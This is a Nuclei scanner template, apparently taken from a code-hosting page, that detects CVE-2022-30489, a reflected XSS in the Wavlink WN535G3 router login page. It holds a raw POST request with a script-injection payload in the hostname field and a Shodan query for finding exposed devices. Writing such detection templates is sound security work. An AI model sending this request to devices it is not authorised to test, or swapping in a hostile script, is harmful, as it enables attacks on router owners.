37 lines
992 B
YAML
37 lines
992 B
YAML
|
id: CVE-2022-30489
|
||
|
|
||
|
info:
|
||
|
name: Wavlink Wn535g3 - POST XSS
|
||
|
author: For3stCo1d
|
||
|
severity: high
|
||
|
reference:
|
||
|
- https://github.com/badboycxcc/XSS-CVE-2022-30489
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-30489
|
||
|
metadata:
|
||
|
shodan-query: http.title:"Wi-Fi APP Login"
|
||
|
tags: xss,cve2022,wavlink
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /cgi-bin/login.cgi HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")</script><script>alert(document.domain);</script>&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
words:
|
||
|
- '<script>alert(document.domain);</script>'
|
||
|
|
||
|
- type: word
|
||
|
part: header
|
||
|
words:
|
||
|
- text/html
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|